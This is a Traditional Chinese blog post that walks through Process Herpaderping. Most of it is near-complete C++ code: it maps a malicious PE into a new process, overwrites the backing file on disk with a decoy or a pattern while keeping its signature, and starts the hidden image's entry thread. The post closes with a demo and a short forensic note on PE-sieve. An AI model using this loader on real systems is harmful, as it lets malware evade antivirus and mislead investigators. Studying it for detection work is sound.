Process Herpaderping 這個技巧是由 jxy-s 在 2020 年提出,這個技巧不會很複雜,也並沒有太深層的技術細節需要理解,所以就簡單的介紹程式碼的流程。
以下是 Process Herpaderping 的步驟:
先將 malicious PE 複製到 temp filepath
//
// Open the source binary and the target file we will execute it from.
//
wil::unique_handle sourceHandle;
sourceHandle.reset(CreateFileW(SourceFileName.c_str(),
GENERIC_READ,
FILE_SHARE_READ |
FILE_SHARE_WRITE |
FILE_SHARE_DELETE,
nullptr,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
nullptr));
if (!sourceHandle.is_valid())
{
RETURN_LAST_ERROR_SET(Utils::Log(Log::Error,
GetLastError(),
L"Failed to open source file"));
}
DWORD shareMode = (FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE);
if (FlagOn(Flags, FlagHoldHandleExclusive))
{
Utils::Log(Log::Information,
L"Creating target file with exclusive access");
shareMode = 0;
}
wil::unique_handle targetHandle;
targetHandle.reset(CreateFileW(TargetFileName.c_str(),
GENERIC_READ | GENERIC_WRITE,
shareMode,
nullptr,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
nullptr));
if(!targetHandle.is_valid())
{
RETURN_LAST_ERROR_SET(Utils::Log(Log::Error,
GetLastError(),
L"Failed to create target file"));
}
//
// Copy the content of the source process to the target.
//
HRESULT hr = Utils::CopyFileByHandle(sourceHandle.get(),
targetHandle.get());
if (FAILED(hr))
{
Utils::Log(Log::Error,
hr,
L"Failed to copy source binary to target file");
RETURN_HR(hr);
}
Utils::Log(Log::Information, L"Copied source binary to target file");
//
// We're done with the source binary.
//
sourceHandle.reset();
用剛剛複製的 temp file 建立 section,實際上這個 section 會是 malicious PE 的內容
//
// Map and create the target process. We'll make it all derpy in a moment...
//
wil::unique_handle sectionHandle;
auto status = NtCreateSection(§ionHandle,
SECTION_ALL_ACCESS,
nullptr,
nullptr,
PAGE_READONLY,
SEC_IMAGE,
targetHandle.get());
if (!NT_SUCCESS(status))
{
sectionHandle.release();
RETURN_NTSTATUS(Utils::Log(
Log::Error,
status,
L"Failed to create target file image section"));
}
Utils::Log(Log::Information, L"Created image section for target");
用剛建立的 section 建立 process,這時候的 process 依然是裝載著 malicious PE
status = NtCreateProcessEx(&processHandle,
PROCESS_ALL_ACCESS,
nullptr,
NtCurrentProcess(),
PROCESS_CREATE_FLAGS_INHERIT_HANDLES,
sectionHandle.get(),
nullptr,
nullptr,
0);
if (!NT_SUCCESS(status))
{
processHandle.release();
RETURN_NTSTATUS(Utils::Log(Log::Error,
status,
L"Failed to create process"));
}
Utils::Log(Log::Information,
L"Created process object, PID %lu",
GetProcessId(processHandle.get()));
覆寫 temp file,這邊作者提共了兩種模式:
//
// Alright we have the process set up, we don't need the section.
//
sectionHandle.reset();
//
// Go get the remote entry RVA to create a thread later on.
//
uint32_t imageEntryPointRva;
hr = Utils::GetImageEntryPointRva(targetHandle.get(),
imageEntryPointRva);
if (FAILED(hr))
{
Utils::Log(Log::Error,
hr,
L"Failed to get target file image entry RVA");
RETURN_HR(hr);
}
Utils::Log(Log::Information,
L"Located target image entry RVA 0x%08x",
imageEntryPointRva);
//
// Alright, depending on the parameter passed in. We will either:
// A. Overwrite the target binary with another.
// B. Overwrite the target binary with a pattern.
//
if (ReplaceWithFileName.has_value())
{
//
// (A) We are overwriting the binary with another file.
//
Utils::Log(Log::Success,
L"Replacing target with \"%ls\"",
ReplaceWithFileName->c_str());
wil::unique_handle replaceWithHandle;
replaceWithHandle.reset(CreateFileW(ReplaceWithFileName->c_str(),
GENERIC_READ,
FILE_SHARE_READ |
FILE_SHARE_WRITE |
FILE_SHARE_DELETE,
nullptr,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
nullptr));
if (!replaceWithHandle.is_valid())
{
RETURN_LAST_ERROR_SET(Utils::Log(
Log::Error,
GetLastError(),
L"Failed to open replace with file"));
}
//
// Replace the bytes. We handle a failure here. We'll fix it up after.
//
hr = Utils::CopyFileByHandle(replaceWithHandle.get(),
targetHandle.get(),
FlagOn(Flags, FlagFlushFile));
if (FAILED(hr))
{
if (hr != HRESULT_FROM_WIN32(ERROR_USER_MAPPED_FILE))
{
Utils::Log(Log::Error,
hr,
L"Failed to replace target file");
RETURN_HR(hr);
}
//
// This error occurs when trying to truncate a file that has a
// user mapping open. In other words, the file we tried to replace
// with was smaller than the original.
// Let's fix up the replacement to hide the original bytes and
// retain any signer info.
//
Utils::Log(Log::Information,
L"Fixing up target replacement, "
L"hiding original bytes and retaining any signature");
uint64_t replaceWithSize;
hr = Utils::GetFileSize(replaceWithHandle.get(), replaceWithSize);
if (FAILED(hr))
{
Utils::Log(Log::Error,
hr,
L"Failed to get replace with file size");
RETURN_HR(hr);
}
uint32_t bytesWritten = 0;
hr = Utils::OverwriteFileAfterWithPattern(
targetHandle.get(),
replaceWithSize,
Pattern,
bytesWritten,
FlagOn(Flags, FlagFlushFile));
if (FAILED(hr))
{
Utils::Log(Log::Warning,
hr,
L"Failed to hide original file bytes");
}
else
{
hr = Utils::ExtendFileSecurityDirectory(
targetHandle.get(),
bytesWritten,
FlagOn(Flags, FlagFlushFile));
if (FAILED(hr))
{
Utils::Log(Log::Warning,
hr,
L"Failed to retain file signature");
}
}
}
}
else
{
//
// (B) Just overwrite the target binary with a pattern.
//
Utils::Log(Log::Success, L"Overwriting target with pattern");
hr = Utils::OverwriteFileContentsWithPattern(
targetHandle.get(),
Pattern,
FlagOn(Flags, FlagFlushFile));
if (FAILED(hr))
{
Utils::Log(Log::Error,
hr,
L"Failed to write pattern over file");
RETURN_HR(hr);
}
這個步驟會做兩件事:
//
// Alright, at this point the process is going to be derpy enough.
// Do the work necessary to make it execute.
//
Utils::Log(Log::Success, L"Preparing target for execution");
PROCESS_BASIC_INFORMATION pbi{};
status = NtQueryInformationProcess(processHandle.get(),
ProcessBasicInformation,
&pbi,
sizeof(pbi),
nullptr);
if (!NT_SUCCESS(status))
{
RETURN_NTSTATUS(Utils::Log(Log::Error,
status,
L"Failed to query new process info"));
}
PEB peb{};
if (!ReadProcessMemory(processHandle.get(),
pbi.PebBaseAddress,
&peb,
sizeof(peb),
nullptr))
{
RETURN_LAST_ERROR_SET(Utils::Log(Log::Error,
GetLastError(),
L"Failed to read remote process PEB"));
}
Utils::Log(Log::Information,
L"Writing process parameters, remote PEB ProcessParameters 0x%p",
Add2Ptr(pbi.PebBaseAddress, FIELD_OFFSET(PEB, ProcessParameters)));
hr = Utils::WriteRemoteProcessParameters(
processHandle.get(),
TargetFileName,
std::nullopt,
std::nullopt,
(L"\"" + TargetFileName + L"\""),
NtCurrentPeb()->ProcessParameters->Environment,
TargetFileName,
L"WinSta0\\Default",
std::nullopt,
std::nullopt);
if (FAILED(hr))
{
Utils::Log(Log::Error,
hr,
L"Failed to write remote process parameters");
RETURN_HR(hr);
}
if (FlagOn(Flags, FlagCloseFileEarly))
{
//
// Caller wants to close the file early, before the notification
// callback in the kernel would fire, do so.
//
targetHandle.reset();
}
從 PEB 取得 entrypoint 後,就可以執行該 process 的第一條 thread
//
// Create the initial thread, when this first thread is inserted the
// process create callback will fire in the kernel.
//
void* remoteEntryPoint = Add2Ptr(peb.ImageBaseAddress, imageEntryPointRva);
Utils::Log(Log::Information,
L"Creating thread in process at entry point 0x%p",
remoteEntryPoint);
wil::unique_handle threadHandle;
status = NtCreateThreadEx(&threadHandle,
THREAD_ALL_ACCESS,
nullptr,
processHandle.get(),
remoteEntryPoint,
nullptr,
0,
0,
0,
0,
nullptr);
if (!NT_SUCCESS(status))
{
threadHandle.release();
RETURN_NTSTATUS(Utils::Log(Log::Error,
status,
L"Failed to create remote thread"));
}
Utils::Log(Log::Information,
L"Created thread, TID %lu",
GetThreadId(threadHandle.get()));
可以看到這邊會有一樣的老問題是,GUI 沒有被成功顯示,這也是 NtCreateProcessEx + NtCreateThreadEx 取代 CreateProcess 的問題。不過結果蠻成功的,可以看到 Autoruns64.exe 偽裝成 dbgview64.exe 執行。
用 PE-sieve 一樣可以 dump 原始的 image file
用 CFF Explorer 開啟可以看到是 Autoruns64.exe
這個技巧可以讓 process 被建立後很難去辨識該 process 的 image file 是不是 malicious,從 process parameters 和 image file 本身都無法判斷。在 forensics 的時候可能還是需要 PE-sieve 這種對整個 process 的 memory 做分析的工具才有可能判斷是不是惡意程式。
下一篇,我要介紹的是 Process Ghosting!